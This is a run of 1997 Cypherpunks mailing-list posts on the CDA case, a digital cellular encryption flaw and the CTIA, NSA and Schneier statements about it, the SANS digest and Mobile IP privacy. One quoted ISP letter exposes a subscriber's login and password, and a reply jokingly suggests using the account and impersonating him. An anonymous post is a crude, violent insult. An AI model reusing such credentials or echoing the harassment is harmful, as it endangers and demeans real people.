|   Policy and Digital Commerce
| Mime-Version: 1.0
| 
| Bob, just a quick question, have you heard/seen anything on this:
| 
| |            The SANS Network Security Digest                   |
| |                 Contributing Editors:                         |
| |    Michele Crabb, Matt Bishop, Steve Bellovin, Rob Kolstad    |
| |   Gene Spaford, Marcus Ranum, Gene Schultz, Dorothy Denning   |
| ----A Resource for Computer and Network Security Professionals---
| 
| It's an $80/yr e-mail newsletter; there are a lot of recognizable names
| there, but the thing isn't digitally signed.  Also, isn't it "Spafford"?
| Anyway, anything you know would be appreciated, and if you don't know
| anything, could you ask around (e.g., some of the likelier mailing lists
| which I no longer subscribe to.)
| 
| <snip>
| 
| Thanks,
| -pl

-- 
"Well, that depends.  Do you mind the end of civilization as we know
it?"









From declan at well.com  Thu Mar 20 13:00:42 1997
From: declan at well.com (Declan McCullagh)
Date: Thu, 20 Mar 1997 13:00:42 -0800 (PST)
Subject: Report from Supreme Court on CDA arguments
In-Reply-To: <3.0.1.32.19970320124236.0062d868@popd.ix.netcom.com>
Message-ID: <Pine.GSO.3.95.970320125620.8134E-100000@well.com>


Is it possible that the technology that helps us to claim the CDA is not
the least restrictive means to accomplish the gvt's (disputed) goal
of protecting junior *also* helps the gvt argue it's easier to comply?

In other words, if the justices disagree with us on the LRM argument
(perhaps saying that kiddies can log in from the mall or at a
friend's house w/out censorware) -- then censorware *helps* the gvt claim
a revised CDA is constitutional?

David Sobel, a lawyer at EPIC and co-counsel in the CDA suit, told me the
Justice Department could use this combination to argue just that: "I think
if there were a large installed base of technology that could make
compliance with a CDA-type statute feasible, then a court might not have
the same problems with it. If you were looking at a technological
environment where there's a large installed base of PICS-compliant
browsers, then the argument would be that to comply with the CDA you have
to self-rate your stuff."

-Declan





On Thu, 20 Mar 1997, Bill Stewart wrote:

> One of the main arguments about technology for the good guys is that
> the CDA's infringements on free speech are not the least restrictive
> means for accomplishing their (claimed) objective - technology gives us
> some options today (like censor-filters) - and advances in technology
> _strengthen_ the pro-free-speech case, because they provide more alternatives
> that are less restrictive than the censorship approach.
> 
> At 06:45 PM 3/19/97 -0500, Declan wrote:
> >http://cgi.pathfinder.com/netly/editorial/0,1012,744,00.html
> >     Justice Scalia, who noted that he uses a
> >computer, pointed out that technology is rapidly
> >changing. "So much of your argument is based on
> >what's currently available," he said to Ennis.
> >"This technology is changing so quickly. Is it
> >possible that this statute is unconstitutional
> >now but could be [constitutional] in four or five
> >years?" Ennis replied: "Not as it's written."
> >
> >     During a subsequent press conference, Ennis
> >added that indeed, the technology is changing,
> >and is giving parents more control over what
> >their children do and see online. "Precisely
> >because the technology is changing, the
> >government should not be trying to enforce this
> >law," he said. The ACLU attorneys who joined
> >Ennis were grinning: the justices appeared to
> >understand the nature of communications online,
> >noted that teens have rights, and focused on free
> >speech, not porn.
> 
> 
> #			Thanks;  Bill
> # Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com
> # You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
> #     (If this is a mailing list, please Cc: me on replies.  Thanks.)
> 
> 
> 






From tcmay at got.net  Thu Mar 20 13:49:35 1997
From: tcmay at got.net (Timothy C. May)
Date: Thu, 20 Mar 1997 13:49:35 -0800 (PST)
Subject: Isn't this like a bad idea?
In-Reply-To: <199703202045.MAA16675@art.net>
Message-ID: <v03007805af5763780d26@[207.167.93.63]>


At 12:45 PM -0800 3/20/97, Lile Elam wrote:
>Hi folks,
>
>Selling email addresses seems to me to be a bad idea. Wouldn't
>it be better to have people sign up instead of this? I mean,
>it looks like this is for spammers.
>
>Who can I contact about this abuse?
>

It may be tacky and undesirable, but public information is just that, public.

(I don't mean some quasi-legalistic distinction between "public" and
"private," as defined by regulators, I mean information publically
accessible.)

If one wants something kept private, use privacy tools.

(And as Cypherpunks know so well, if regulators/legislators attempt to
interfere in such markets, the markets will simply move to other
jurisdictions, or into cyphersace.)

--Tim May

Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From blancw at MICROSOFT.com  Thu Mar 20 14:21:03 1997
From: blancw at MICROSOFT.com (Blanc Weber)
Date: Thu, 20 Mar 1997 14:21:03 -0800 (PST)
Subject: Cell Phone Code Cracked
Message-ID: <88CE23A0B727D0118BB000805FD47524010C200C@RED-81-MSG.dns.microsoft.com>



From:	John Young

[................]These
technologists, who planned to release their findings in a news
release on Thursday, argue that the best way to insure that
the strongest security codes are developed is to conduct the
work in a public forum. And so they are sharply critical of
the current industry standard setting process which has made
a trade secret of the underlying mathematical formulas used to
create the security codes.
......................................


It becomes apparent that some people have the ideas of "private" and
"public" backwards - they do in secret what should be done openly while
supporting the license to access what should be private matters.

   ..
Blanc






From vin at shore.net  Thu Mar 20 14:41:15 1997
From: vin at shore.net (Vin McLellan)
Date: Thu, 20 Mar 1997 14:41:15 -0800 (PST)
Subject: ONK?: SANS Network Security Digest?
In-Reply-To: <v03020938af57419e8c59@[204.179.136.178]>
Message-ID: <v0300780eaf576ba5ee4b@[198.115.179.81]>



>|            The SANS Network Security Digest                   |
>|                 Contributing Editors:                         |
>|    Michele Crabb, Matt Bishop, Steve Bellovin, Rob Kolstad    |
>|   Gene Spaford, Marcus Ranum, Gene Schultz, Dorothy Denning   |
>----A Resource for Computer and Network Security Professionals---

Bob reported:

>It's an $80/yr e-mail newsletter; there are a lot of recognizable names
>there, but the thing isn't digitally signed.  Also, isn't it "Spafford"?
>Anyway, anything you know would be appreciated, and if you don't know
>anything, could you ask around (e.g., some of the likelier mailing lists
>which I no longer subscribe to.)

It's still free!

>From the March issue:

(A _great_ summary of the month's compsec events, despite misspelling
Spaf's name. _Vin)

<quote>

The SANS Network Security Digest is published via email approximately
eight times per year.  It's purpose is to help busy sysadmins and
security professionals gain confidence that they are aware of the
important security vulnerabilities and what can be done to resolve them.
Subsriptions are always free for all who attend SANS and Network Security
conferences.  Others may also subscribe at no cost as long as their
subscriptions are received before April 30, 1997. Free subscriptions
entered before April 30 are effective through the end of next year (1998).

To subscribe, send email to sans at clark.net.
In the Subject: SANS Network Security Digest,
In the Body: name, title, organization, preferred email address, and, if
you also want an updated network security roadmap wall poster, your
surface mailing address.

After March 31, subscriptions are $80 per year. Send check to SANS
Network Security Digest, 4610 Tournay Road, Bethesda, MD 20816. The
Digest is copyrighted and may not be retransmitted or distributed or
copied without written permission.
<end quote>

      Vin McLellan + The Privacy Guild + <vin at shore.net>
  53 Nichols St., Chelsea, MA 02150 USA <617> 884-5548
                                  -- <@><@> --







From lucifer at dhp.com  Thu Mar 20 15:43:54 1997
From: lucifer at dhp.com (lucifer Anonymous Remailer)
Date: Thu, 20 Mar 1997 15:43:54 -0800 (PST)
Subject: [CRYPTO] PRNG
Message-ID: <199703202343.SAA14458@dhp.com>


Timmy May, a product of anal birth, appeared 
with a coathanger through his head.

    o      o o o   o
   /~>    <><><>   <> Timmy May
o...(\    ||||||   ||






From declan at well.com  Thu Mar 20 15:51:24 1997
From: declan at well.com (Declan McCullagh)
Date: Thu, 20 Mar 1997 15:51:24 -0800 (PST)
Subject: NSA responds to criticism over weakening cellular crypto
Message-ID: <Pine.GSO.3.95.970320155109.27273G-100000@well.com>




---------- Forwarded message ----------
Date: Thu, 20 Mar 1997 15:50:40 -0800 (PST)
From: Declan McCullagh <declan at well.com>
To: fight-censorship-announce at vorlon.mit.edu
Subject: NSA responds to criticism over weakening cellular crypto

John Markoff writes in today's NYT:

	Several telecommunications industry officials said the
	pressure came from the National Security Agency, which feared
	that stronger encryption technology might allow criminals or
	terrorists to conspire with impunity by cellular phones.

	But independent security experts now say that the code is easy
	enough to crack that anyone with sufficient technical skills
	could make and sell a monitoring device that would be as easy
	to use as a police scanner is.

Below the NSA's Clint Brooks responds to Dave Banisar.

-Declan

---------- Forwarded message ----------
Date: Thu, 20 Mar 1997 18:08:28 -0500
From: Dave Banisar <Banisar at epic.org>

>Date: Thu, 20 Mar 1997 17:35:44 -0500
>From: Clinton Brooks <cbrooks at romulus.ncsc.mil>
>Reply-To: cbrooks at romulus.ncsc.mil
>MIME-Version: 1.0
>To: banisar at epic.org
>CC: "Brooks, Clinton" <cbrooks at romulus.ncsc.mil>
>Subject: Cellular Phone Flaw
>
>Dave,
>
>   Re your comments on the flaw apparently found in cellular phones:
>
>   We have released the following statement:
>
>   "NSA had no role in the design or selection of the encryption
>algorithm chosen by the Telecommunications Industry Association (TIA).
>NSA also had no role in the design or manufacture of the telephones
>themselves.  As we understand the researchers' claim, it appears that
>the algorithm selected and the way it was implemented in the system has
>led to the stated flaws.
>
>NSA provided the TIA with technical advice on the exportability of these
>devices under U.S. export regulations and processes."
>
>
>								Clint
>


=========================================================================
David Banisar (Banisar at epic.org)                *    202-544-9240 (tel)
Electronic Privacy Information Center           *    202-547-5482 (fax)
666 Pennsylvania Ave, SE, Suite 301             *    HTTP://www.epic.org
Washington, DC 20003
PGP Key: http://www.epic.org/staff/banisar/key.html
=========================================================================










From markm at voicenet.com  Thu Mar 20 16:02:31 1997
From: markm at voicenet.com (Mark M.)
Date: Thu, 20 Mar 1997 16:02:31 -0800 (PST)
Subject: PGP Security
In-Reply-To: <199703201102.GAA30790@dhp.com>
Message-ID: <Pine.LNX.3.95.970320185104.1482A-100000@purple.voicenet.com>


-----BEGIN PGP SIGNED MESSAGE-----

On Thu, 20 Mar 1997, lucifer Anonymous Remailer wrote:

>   I am passing along the following message, not because of my belief in
> the accuracy or veracity of its contents, but merely because of the 
> fact that it seems to have kept getting eaten up by various email
> systems in the attempts to send it to its original destination.
>   The first time it was sent via a remailer, it was bounced for ill-
> defined reasons. The second time it was sent, the remailer was shut
> down, and remains shut down.
>   Efforts to send it through a second remailer also failed, with no
> notice from the server of any problems being received. Other email
> sent through the remailer at the same time encountered no difficulties.

Speaking as "XXXXXXXXX" (or, at least, one of the "XXXXXXXXXs"), I did receive
the following message which originated from "TruthMonger."  Shortly after I
received the message, anon.nymserver.com closed down all of its free,
anonymous accounts due to "abuse."

>   I am only noting the facts, here, not proferring any personal judge-
> ments on the matter, although I have formed my own opinion as to the
> meaning of these facts, particularly since I, myself, came by this 
> post during the process of email interception.

I am skeptical.

> 
> > X-Anon-Password: XXXXXXXXXX
> > X-Anon-To: XXXXXXXXXXX
> > X-Anon-Name: XXXXXXXXXXXX
> 
> XXXXXXXXX,
>  I thought I would reply privately to you, since you seem to
> at least have a willingness to allow the possibility of compromises
> to the security of the encryption methodologies behind PGP programs,
> among others.


Mark
-----BEGIN PGP SIGNATURE-----
Version: 2.6.3
Charset: noconv

iQEVAwUBMzHQxyzIPc7jvyFpAQEVeAgAlCqL2chXC0C79lb5IGGy9zE6eIYl/ZKQ
mHqYRLjZ9wrKh88/1SDgbK1t3fBKPU/VP8NyCsmWcWuvvylXtr+GAoY9YzdovkIG
awCMm6p4oBNzCf0KvzGoLYG0Y+nx+zNrNpM/7Yw4E3YmXPryD/XY1Wzq0309Dt+d
EfotBt+FfBiFXzRJTb1VFur2Yyc8uJipoAwlbKZvLSAyxapQu+YtKrp74FVhCNfe
VsPlh8PyePlP2KVGMdqERVLCR6ru2FMcHrjiEkqZDucTLjx2UMo/0Cw6Gba1oqEQ
pPgsx/bf0L/D2tKVPys6psCPrNK0hvm440LJDi+qAAwJaJtK6wiRvQ==
=Sqf2
-----END PGP SIGNATURE-----






From wow-com at wow-com.com  Thu Mar 20 17:16:44 1997
From: wow-com at wow-com.com (wow-com at wow-com.com)
Date: Thu, 20 Mar 1997 17:16:44 -0800 (PST)
Subject: WOW-COM Registration
Message-ID: <199703210116.UAA11115@intraactive.com>


Dear cypherpunks:



Welcome to WOW-COM.  By now you have had a chance to explore WOW-COM's rich content and features. Here are a few items to check out during your next visit.

* The Wireless Daily News - updated three times a day.

* WOW-COM's Career Center - The Wireless Workplace is the premiere source of wireless jobs.  

* Fraud and Antenna Siting Micro sites - latest news, legal developments, resources, and analyses from experts at CTIA.  

>From time to time WOW-COM will use email to inform you of new features.  Please let us know if you do not want to receive these updates.  WOW-COM does  not sell or distribute its mailing lists.

Sincerely,

The WOW-COM Team
wowcom at ctia.org

http://www.wow-com.com









From ichudov at algebra.com  Thu Mar 20 17:23:20 1997
From: ichudov at algebra.com (Igor Chudov @ home)
Date: Thu, 20 Mar 1997 17:23:20 -0800 (PST)
Subject: PGP Security
In-Reply-To: <Pine.LNX.3.95.970320185104.1482A-100000@purple.voicenet.com>
Message-ID: <199703210116.TAA12097@manifold.algebra.com>


Mark M. wrote:
> 
> Speaking as "XXXXXXXXX" (or, at least, one of the "XXXXXXXXXs"), I did receive
> the following message which originated from "TruthMonger."  Shortly after I
> received the message, anon.nymserver.com closed down all of its free,
> anonymous accounts due to "abuse."
> 

This is mostly addressed to jimbell: jim, it is now obvious that
the remailer network is as weak as a 5 year old child. It cannot
possibly withstand even mildest forms of "abuse".

Due to this fact, I question the viability of your assassination 
politics idea as it does not seem possible to safely operate an
assassination bot.

	- Igor.





From dlv at bwalk.dm.com  Thu Mar 20 17:35:36 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 20 Mar 1997 17:35:36 -0800 (PST)
Subject: Spam from DM.NET
In-Reply-To: <UPMAIL09.199703201933120342@msn.com>
Message-ID: <R76V4D30w165w@bwalk.dm.com>


Who the fuck is "dueling modems"?  Why am I getting this shit at my
site? This is dm.com, not dm.net.  What a bunch of fucking morons.

"Jim RoadRunner" <Wild_Mouse at msn.com> writes:

>
>
> ----------
> From: 	nic
> Sent: 	Wednesday, March 19, 1997 5:26 PM
> To: 	Jim RoadRunner
> Subject: 	Welcome to Dueling Modems!
>
> Dear James,	
>  	
> Welcome to Dueling Modems!	
>  	
> This letter is to confirm that we've received your signup and billing
> information, and have set up your account.	
>  	
> ***** ACCOUNT INFORMATION *****	
>  	
>                              Acct #: 	0032108
>                                  ID: 	wild-mouse
>                            Password: 	railroad
>                          Email Name: 	wild-mouse at dm.net
>                   Email Destination: 	wild_mouse at msn.com
>  	
> We may have tweaked some of the ID/Pwd information you put on the form,
> to meet the requirements of our operating system.  Please make sure you
> use the information above when configuring your software.	
>  	
> ***** EMAIL INFORMATION *****	
>  	
> If your email destination is "local," you'll need to set up your email
> program with the following parameters:	
>  	
>                         POP3 Server:	mail.dm.net
>                         SMTP Server:	mail.dm.net
>                    Email Account ID:	wild-mouse
>              Email Account Password:	railroad
>                         POP Account:	wild-mouse at dm.net
>                           Real Name:	(or your "handle")
>                      Return Address:	wild-mouse at dm.net
>  	
> ***** BILLING INFORMATION *****	
>  	
>       You've chosen to be billed by:	Credit Card
> Your first billing month was/will be:	Apr-97
>           Your billing frequency is:	monthly
>  	
> If you've chosen to be billed by check, you'll receive an invoice via
> email sent to the above destination address.	
>  	
> Electronic Funds Transfer subscribers will receive an additional email
> containing the information you'll need to provide to your bank to set up
> the process.	
>  	
> ***** NEWSGROUP INFORMATION *****	
>  	
> Your personal members' newsgroup is:	
>  	
>      dm.members.wild-mouse	
>  	
> ***** WEB PAGE INFORMATION *****	
>  	
> The URL for your personal web site is:	
>  	
>      http://www.dm.net/~wild-mouse/	
>  	
> If you've opted to have a personal web page:	
>  	
> To load your web pages, you'll need an "ftp client."  This software lets
> you upload files to a remote server.	
>  	
> (Dueling Modems provides links to several ftp packages on our Software
> Warehouse web page.)	
>  	
> Configure your ftp client to log onto:	
>   	
>      www.dm.net	
>  	
> Make sure you set up the ftp client software to use the ID and password
> listed at the beginning of this letter.  You'll be directly connected to
> your own directory space.	
>  	
> Once connected, you'll see a sub-directory named "web_pages".  Log into
> that directory.  You can then upload your HTML files.	
>  	
> For help in creating your web pages, check into the  dm.html.*  area on
> the news server.  The staff there are experts, and are delighted to help
> out.	
>  	
> Apologies for the brevity of these instructions.  We'll be creating an
> Online User's Guide soon, which will include detailed instructions for
> various software packages.  For the time being, though, please ask for
> help in dm.html.*.	
>  	
> ***** USER AUTHENTICATION *****	
>  	
> (aka, Logging into the news server.)	
>  	
> We're beginning to move parts of the service to "subscriber-only" mode,
> which will require you to set up your User ID and Password in your
> newsreading software.	
>  	
> User authentication will also be needed to gain access to private areas
> within the news server.  We've set up two groups specifically to test
> your log-in:	
>   	
>      dm.priv-test.announce	
>      dm.priv-test.sign-in	
>  	
> Please set up your newsreader for user Authentication now, and refresh
> your group list to make sure you can reach these two groups.  If you
> can't, check into  dm.admin.help-desk.newsreaders for assistance.	
>  	
> Unfortunately, the very popular Netscape Navigator does NOT provide any
> way of entering your ID/Password when you try to connect to DM's server,
> which means that eventually you won't be able to reach the BBS with
> Navigator.  :(	
>  	
> The solution is to use a different software package.  We recommend Free
> Agent for Windows users and NewsWatcher for Mac users.  Both of these
> packages are free and available from DM's Software Warehouse web page:	
>   	
>      http://dm.net/software.htm	
>  	
> We're taking our time in making this conversion, btw., so as to make
> sure nobody gets caught unable to reach us.  So don't worry about that.	
>  	
> Of course, installing and learning new software always takes time and
> often requires a bit of hand-holding.  Again, feel free to check into
> the dm.admin.help-desk.newsreader group for help.  That group will be
> publicly available for some time to come.	
>  	
> As mentioned above, we will be setting up an Online User's Guide on the
> DM web site.  Installing and configuring software will be covered
> extensively.  But for the meantime, please use the help desk newsgroup.	
>  	
> Again, welcome to Dueling Modems.  If you have any questions, feel free
> to drop me an email at:	
>   	
>      sysop at dm.net	
>  	
> If I don't know the answer, we'll find somebody who does.  ;)	
>  	
> Nic Grabien	
> President, Dueling Modems
>


---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From toto at sk.sympatico.ca  Thu Mar 20 18:25:52 1997
From: toto at sk.sympatico.ca (Toto)
Date: Thu, 20 Mar 1997 18:25:52 -0800 (PST)
Subject: Spam from DM.NET
In-Reply-To: <R76V4D30w165w@bwalk.dm.com>
Message-ID: <3331F1DE.6DD@sk.sympatico.ca>


Dr.Dimitri Vulis KOTM wrote:
> 
> Who the fuck is "dueling modems"?  Why am I getting this shit at my
> site? This is dm.com, not dm.net.  What a bunch of fucking morons.
> 
> "Jim RoadRunner" <Wild_Mouse at msn.com> writes:

Dimitri,
  It's simple enough. The man is generous and wants others to 
be able to use his account, free of charge.
  He also wants us to pretend that we are him, asking his ISP to
'confirm' the credit card number he gave them, to make sure it's
the right one.

  When you find out more about the "Electronic Funds Transfer 
information" they mention, could you forward it to the list so
that this fellow's generosity will not go unappreciated?

> > This letter is to confirm that we've received your signup and billing
> > information, and have set up your account.
> >
> > ***** ACCOUNT INFORMATION *****
> >
> >                              Acct #:  0032108
> >                                  ID:  wild-mouse
> >                            Password:  railroad
> >                          Email Name:  wild-mouse at dm.net
> >                   Email Destination:  wild_mouse at msn.com
> >
> > ***** BILLING INFORMATION *****
> >
> >       You've chosen to be billed by:  Credit Card
> > Your first billing month was/will be: Apr-97
> >           Your billing frequency is:  monthly
> >
> >
> > Electronic Funds Transfer subscribers will receive an additional email
> > containing the information you'll need to provide to your bank to set up
> > the process.
> >      sysop at dm.net
> > Nic Grabien
> > President, Dueling Modems
> >
> 
> ---

-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html






From jya at pipeline.com  Thu Mar 20 18:38:40 1997
From: jya at pipeline.com (John Young)
Date: Thu, 20 Mar 1997 18:38:40 -0800 (PST)
Subject: CTIA Downplays Code Crack
Message-ID: <1.5.4.32.19970321023106.006e3a40@pop.pipeline.com>


(Bruce Schneier's rebuttal of this follows)

TITLE:	CTIA: Encryption of Digital Wireless Phones
SOURCE:	PR Newswire
DATE:	3/20/97 12:10 PM


                 CTIA:  Encryption of Digital Wireless Phones

    Today, a group of professional and academic cryptographers will announce
that it has "discovered a flaw in the privacy protection used in today's most
advanced digital cellular phones."  Following is a set of questions and
answers that arise from that announcement.

    Q.  Does this mean that eavesdroppers can listen in on my phone calls?
    A.  No.  The encryption discussed by the researchers involves the
algorithm used to encrypt numbers punched on the keypad of a phone, not the
algorithm used to encrypt voice transmissions.

    Q.  Is it easy to break this keypad number code?
    A.  Not at this time.  It involves very sophisticated cryptological
knowledge.  The digital encryption system now in use is designed to inhibit
interception by the unsophisticated.  Any technology developed by one person
can be broken by another with the application of sufficient technology.  This
announced attack requires multiple minutes -- up to hours -- of high speed
computer processing to break a coded message.

    0.  What is the impact of this announcement on people who now use
wireless phones?
    A.  Virtually none.  Approximately 95 percent of the wireless phones now
being used are analog phones, not digital phones.  The possible impact of this
announcement is only relevant to some digital phones that are now being
introduced to the market.

    Q.  Why didn't the wireless phone industry develop phones that have
unbreakable security?
    A.  Standards for phone technology are developed within the confines of
federal regulations and the realities of the marketplace.  A wireless phone is
a consumer product, not a spy v. spy technology adequate for national
security.  Such a unit would have cost, battery life and call set-up times
which would make it unacceptable to consumers.

    0.  Does this announcement have any impact on the industry's efforts to
stop phone cloning?
    A.  No. During the past year, the industry has been very successful in
introducing new technologies that prevent phone cloning.  These authentication
and "fingerprinting" technologies operate differently and are not compromised
by the cryptography announced today.

    Q.  What is the industry doing about this problem?
    A.  Tom Wheeler, the president and CEO of CTIA, testified before Congress
on February 5, about the need to strengthen the laws protecting the security
of wireless phone calls.  It is currently illegal to intentionally intercept a
wireless phone call.  Unfortunately, whereas federal law prohibits the sale
and manufacture of devices designed to eavesdrop on wireless calls, it does
not extend the prohibition to cordless phones and the newer digital
frequencies.  In regard to today's announcement, Wheeler said, "This is the
horse nudging at the barn door and it is time to act before the horse is gone
completely."

    CTIA is the international association for the wireless telecommunication
industry.  It represents more PCS and cellular carriers than any other
association in the world.
    INTERNET USERS.  News about the wireless telecommunications industry is
updated several times each day on CTIA's World Wide Web site
(http://www.wow-com.com).  CTIA news releases and other information also are
available an WOW-COM.

    NOTE:  The cryptography researchers are Bruce Schneier, Counterpane
Systems, 612-823-1098; Robert Sanders, University of California, Berkeley,
510-643-6998; David Wagner, University of California, Berkeley, 510-643-9435;
and Lori Sinton, Jump Start Communications, 415-938-2234.

    CONTACT:  For more information, please contact Tim Ayers, 202-736-3203, or
Jeffrey Nelson, 202-736-3207, both of CTIA.






From jya at pipeline.com  Thu Mar 20 18:40:53 1997
From: jya at pipeline.com (John Young)
Date: Thu, 20 Mar 1997 18:40:53 -0800 (PST)
Subject: Schneier Rebuts CTIA
Message-ID: <1.5.4.32.19970321023316.006e2b80@pop.pipeline.com>


(Thanks to DAW for the CTIA and Schneier forwards)

Here's Bruce Schneier's press release rebutting the CTIA's assertions.

Forwarded message:

MINNEAPOLIS -- The Cellular Telecommunications Industry Association (CTIA)
issued a press release discussing our recent cryptographic break against
digital cellular phones.  Following is a correction of some of their
mis-statements.

1.  While it is true that our paper did not discuss voice encryption, that
does not mean that the voice encryption system is any good.  As early as
1992 others -- including noted expert Whitfield Diffie -- have pointed out
fatal flaws in the new standard's voice privacy features.  The underlying
technology is the Vegienere cipher, broken by the Union Army during the
American Civil War.  One cryptographer was quoted in the July 1992
Communications of the ACM calling the voice privacy protection "pitifully
easy to break."  Certainly digital cellular is harder to eavesdrop on than
analog cellular--the latter just requires a scanner tuned to the correct
frequencies--digital cellular voice security can be broken in real time by
anyone with a little bit of budget, expertise, and desire.

2.  While our break did involve sophisticated cryptographic expertise, our
results have been published.  While we have no intention of publishing our
computer code, anyone able to understand our paper can implement our
attack.  It is not true that "any technology developed by one person can be
broken by another with the application of sufficient technology."  The
Telecommunications Industry Association (TIA) could have designed secure
algorithms to protect voice and messages; they chose not to.

3.  While it is true that our announcement does not affect most people
because they use analog phones, that is a misleading statement.  Analog
phones are even less secure; the whole point of digital cellular was that
it was secure.  This announcement affects both CDMA and TDMA cellular
systems, but not GSM systems.

4.  The phone industry did not develop phones with unbreakable security
because they chose not to.  It is possible, with today's technology, to
implement digital cellular algorithms in cellular phones without affecting
the phone's weight, power consumption, voice quality, or call setup.  It
takes more computer processing power to digitize the voice than it does to
encrypt the digital voice.

5.  It is true that our attack does not affect phone cloning.  The TIA put
more effort into preventing cellular fraud, because that directly affects
their bottom line.  Cellular privacy is much less of a concern, so they
didn't bother doing a good job.

6.  All the industry seems to be doing about this problem is releasing
misleading press releases in an attempt to pretend that nothing is wrong.

One moral of this story is that good security standards need to be
developed in the open.  The CTIA believed that keeping the details of their
security measures secret improved the security of the system.  This notion
works, as long as the details remain secret.  All good security systems are
designed to remain secure even if their details are made public.  To do
otherwise is naive and foolish, similar to creating recipes without ever
bothering to let anyone taste the food.

The CTIA also pointed to the need for legislation to make this illegal.
While important, this is not a solution.  Listening in on analog cellular
phones is illegal, but people do it all the time.  Stealing cars is
illegal, but Lojack is still in business.  We need to protect ourselves
with technology, not with legislation.  Laws are a quick fix for an
industry unwilling to devote resources to solving their problems.








From sf-nic at dm.net  Thu Mar 20 19:46:05 1997
From: sf-nic at dm.net (nic)
Date: Thu, 20 Mar 1997 19:46:05 -0800 (PST)
Subject: Spam from DM.NET
In-Reply-To: <R76V4D30w165w@bwalk.dm.com>
Message-ID: <333203DE.26B5@dm.net>


First off, please let me apologize for this un-intentional "spam."  

(I'll spare you guys the irrelevant argument about whether one letter
constitutes "spam."  The bottom line is it shouldn't have happened, it's
not your fault or responsibility, and you shouldn't have to wade through
_my_ shit over piddling crap like definitions.)

The letter in question was specifically addressed to an address at
msn.com, and I honestly have no idea how it ended up being routed to
dm.com, much less a specific individual's mailbox.  Unless Jim
RoadRunner mis-addressed a reply back to dm.net.  But even there, I'm at
a loss to know how it ended up in Dr. Dimitri's mailbox.  In any case,
it shouldn't have landed there at all.

Btw., thanks Toto for passing this back to me.  It does give us a chance
to change the access password.  And to try to figure out what screwed up
where to make sure it doesn't happen again.  


Toto wrote:
> 
> Dr.Dimitri Vulis KOTM wrote:
> >
> > Who the fuck is "dueling modems"?  Why am I getting this shit at my
> > site? This is dm.com, not dm.net.  What a bunch of fucking morons.
> >
> > "Jim RoadRunner" <Wild_Mouse at msn.com> writes:

Dimitri - To you I specifically apologize for the inadvertant arrival of
this email in your box.  It was completely un-intentional and, as you
point out, uncalled-for.  Dueling Modems (dm.net) is most definitely NOT
D&M Consulting (dm.com), or any sub-domain housed under their umbrella. 
We're a small online service that Jim has recently joined, and
apparently a confirmation letter or reply was mistakenly routed to you.

> 
> Dimitri,
>   It's simple enough. The man is generous and wants others to
> be able to use his account, free of charge.
>   He also wants us to pretend that we are him, asking his ISP to
> 'confirm' the credit card number he gave them, to make sure it's
> the right one.

Well, not exactly...  <g>

> 
>   When you find out more about the "Electronic Funds Transfer
> information" they mention, could you forward it to the list so
> that this fellow's generosity will not go unappreciated?

Actually, any EFT information you might pick up would only serve you in
depositing money _into_ Jim's account.  

> 
> --
> Toto
> "The Xenix Chainsaw Massacre"
> http://bureau42.base.org/public/xenix/xenbody.html

Nice story on the web page, btw.


Again, apologies to all and thanks for being gentle about letting us
know about the screw-up.

nic





From billstewart at mail.att.net  Thu Mar 20 20:12:09 1997
From: billstewart at mail.att.net (Bill Stewart)
Date: Thu, 20 Mar 1997 20:12:09 -0800 (PST)
Subject: Mobile IP Resources -- Analysis of Security and Privacy in Mobile IP
Message-ID: <33320A48.3BE8@mail.att.net>

An anonymous poster to alt.cypherpunks recommended the attached article.
http://www.neda.com/mobileIpSurvey/html/mobileIP_37.html

Title: Mobile IP Resources -- Analysis of Security and Privacy in Mobile IP










Go backward to Improving Reliable Transport and Handoff Performance in Cellular Wireless Networks

Go up to Mobile IP Research and Technical papers

Go forward to Variable and Scalable Security: Protection of Location Information in Mobile IP


Analysis of Security and Privacy in Mobile IP
http://www-i4.informatik.rwth-aachen.de/~andreas/PAPERS/SecurityPerformance.ps.gz
Authors: A. Fasbender, D. Kesdogan, and O. Kubitz 
Date: March 1996 
In this paper we present a possible extension of the proposed Mobile 
IP and route optimization protocols, the Non-Disclosure 
Method (NDM). It prevents the tracking of user movements by 
third parties and gives mobile users control over the revelation of 
their location information, according to their personal security 
demands.
We give an overview on Mobile IP protocols and briefly 
discuss these protocols in terms of security issues. We show 
that confidential location management in Mobile IP is an 
unsolved problem. Then we propose our method for 
providing untraceable communications in packet-oriented mobile networks.
NDM is based on the idea of mixes, which 
has been suggested by Chaum for hiding the originator addresses of electronic 
mails. Our algorithm prevents the linkability of sender and recipient addresses 
in Mobile IP, can be easily adopted to other mobility 
supporting networks as well. We conclude our paper with performance 
aspects, discussing the trade-off between the level of 
security provided and the costs of NDM in terms of increased 
packet transmission delays. For this purpose, we present 
a new modelling approach for Internet connections, which is 
based on empirically derived packet delay distributions and 
their analytical description. Our results show that the 
overhead for confidential location management is not 
as critical as might be expected, and that a considerable 
delay reduction compared to mixes can be achieved.


info at neda.com










From pete at loshin.com  Thu Mar 20 20:16:33 1997
From: pete at loshin.com (Pete Loshin)
Date: Thu, 20 Mar 1997 20:16:33 -0800 (PST)
Subject: ONK?: SANS Network Security Digest?
Message-ID: <3.0.32.19970320214022.00874db0@pop.tiac.net>


Thanks for the information.  I basically just wanted someone involved (or
someone who knows someone involved) to say, yes, this thing is real.

How come they don't sign it?  If I were a sysadmin subscriber, I'd probably
be inclined to want to be able to certify the contents got to me intact.

regards,
-pl

At 05:40 PM 3/20/97 -0500, Vin McLellan wrote:
[stuff deleted]
>The SANS Network Security Digest is published via email approximately
>eight times per year.  It's purpose is to help busy sysadmins and
>security professionals gain confidence that they are aware of the
>important security vulnerabilities and what can be done to resolve them.
[more stuff deleted]






From markm at voicenet.com  Thu Mar 20 20:32:59 1997
From: markm at voicenet.com (Mark M.)
